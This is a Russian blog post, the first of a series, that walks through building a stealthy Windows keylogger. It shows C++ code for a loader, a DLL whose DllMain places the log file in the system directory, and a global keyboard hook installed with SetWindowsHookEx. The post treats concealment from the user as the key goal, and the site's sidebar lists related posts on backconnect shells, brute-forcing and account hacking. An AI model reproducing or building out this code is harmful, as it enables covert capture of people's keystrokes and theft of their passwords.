keylogo 300x158 Кейлоггер

Сегодня я хотел бы рассказать о наверное, самой интересной, из всех программ — кейлоггере. Это очень интересный вид программного обеспечения. Как мне кажется, самое главное в нем — это скрытность. Он не является вредоносным программным обеспечением — но ходит, как говорится, по острию ножа.

Кейлоггеры очень разнообразны, но по способу их программной реализации можно определить на два вида:

  1. Использование GetAsyncKeyState(). В этом случае никакие DLL не требуются, но и возможностей у данной программы маловато будет, да и загрузка ЦП очень большая — что привлечет внимание пользователя, а это, как говорится не есть гуд.
  2. Установка хука на клавиатуру. Здесь необходима DLL, которую придется таскать за собой. Не очень удобно, но это можно компенсировать меньшей нагрузкой на процессор и прочими вкустностями…

Итак, здесь я буду разбирать второй способ, ибо первого способа навалом сорцов в интернете. Для начала, нам пригодится программа — тестер. Она будет загружать DLL и вызывать функцию установки хука. Простейший код реализующий все вышесказанное:

typedef void (_SetHook)(void);
_SetHook SetHook = (_SetHook)GetProcAddress(LoadLibrary("keylogger.dll"),"SetHook");
SetHook();

Соответственно, библиотека должна иметь имя keylogger.dll и должна быть экспортируема функция SetHook, вот таким макаром:

extern "C" __declspec(dllexport) void SetHook(void)

В библиотеке должны быть обьявлены следущие глобальные переменные:

  1. HHOOK hHook; — переменная для хранения идентификатора хука
  2. HINSTANCE hHandle; — для получения хэндла процесса в который попала DLL
  3. char szLogPath[MAX_PATH];  — переменная для хранения пути к логу
  4. char *szLogName = «\\superlog.txt»; — переменная для хранения имени лога

А в главной функции (DllMain) будет следущий код:

BOOL APIENTRY DllMain( HINSTANCE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                                         )
{
        hHandle = hModule;
        GetSystemDirectory(szLogPath,sizeof(szLogPath));
        strcat(szLogPath,szLogName);
        return TRUE;
}

Да, совсем забыл, функция (а правильнее процедура) SetHook имеет следущую реализацию:

extern "C" __declspec(dllexport) void SetHook(void)
{
        if(!hHook)
                hHook = SetWindowsHookEx(WH_KEYBOARD,KBHook,hHandle,NULL);
        else
                UnhookWindowsHookEx(hHook);
}

Где вам неизвестна только одна переменная — KBHook — это функция для хука на клавиатуру, но это уже другая история… (В следущем посте).

tt twitter big4 Кейлоггер tt digg big4 Кейлоггер tt facebook big4 Кейлоггер tt gmail big4 Кейлоггер tt myspace big4 Кейлоггер tt reddit big4 Кейлоггер

Комментарии (3) на “Кейлоггер”

  • limon:

    Интересно. Молодец!

    Ответить
  • KMiNT21:

    Вот еще до кучи статья подобного плана — http://uinc.ru/articles/zametki/001.shtml
    Может кому-то пригодится.

    Ответить

Оставить комментарий

CAPTCHA изображение
Обновить изображение
*

RSS-подписка NIG Twitter-подписка NIG

Метки
Друзья
Блог линуксоида Программы для диагностики компьютера
Супер Pixel
Убивалка флешаБэкконект шелл. Часть вторая.Бэкконект шелл. Начало.НАМ для деления чиселПростая арифметикаПередача файлов. Часть третья. Клиент.Dll injectionСканер портовКодировка текста в BMPРухнул на два дняПередача файлов. Часть вторая. Сервер.Поворот и BMPCRC32 суммаBMP форматфайловые вирусыассемблер, строкиАссемблер и матрицапримеры ассемблерМногопоточное программированиеАрхитектура клиент — серверРаздача ICQПишем шуткупишем паукаПривет от ДжеймсаОбход firewallЗагрузка картинок на Gyazo, прямо из ThunarКейлоггер 3Плюшки в контекстном меню Thunarc по сетиКейлоггер 2КейлоггерСкачать Ассемблер!VirusCheckerОтморозки мешают жить ?! Не проблемма !Cкрипты для взлома аккаунтов QIPWinAPI. Работа с файлами. Часть третья. ЧтениеDlink exploitБрут сайта etxt.ruКрасивая раскладка клавиатуры в GnomeМои безделушки на PerlКак запускать Perl скрипты под WindowsБрутфорс партнёрки ZipCoinПарсер upwap.ruИзменения в блогеЧудо ЗаливалкаСкрипт для загрузки файлов на Zalil.ruЯндекс «чоткий» поисковик!WinAPI. Работа с файлами. Часть вторая. ЗаписьWinAPI. Работа с файлами. Часть первая. ПоискПолучение MD5 хеша средствами C++Что нам стоить letitfile.com забрутить?WarCraft III запуск под LinuxЭнтропия файлаWinsock и C++. Мини прокси. Часть |\\/. Завершающая.Перепилил чекер для 4gameЧекер акаунтов YoupornCMailSend v 1.1. Отправка почы без проблемСлучайные числаWinsock и C++. Часть |||. smtp монстр.Брутфорс LetitFile.comИспользование X-Forwarded-For, для обмана веб-сервера, подмена IP подручными средствамиДело было вечером, делать было нечего…Мысли о аудио сервереПарсер ников из твиттераКонец школоло…Perl+Linux. Заметка первая (Удобный Paste bin).Бэкконект шелл.E-MAIL + winsocket + Cpp. Сложно?winsock и C++. Часть ||. Атака клоунов.C++ резолвинг адресаPerl, анализ HTML кода и определение CMSМатематика в C++winsock и C++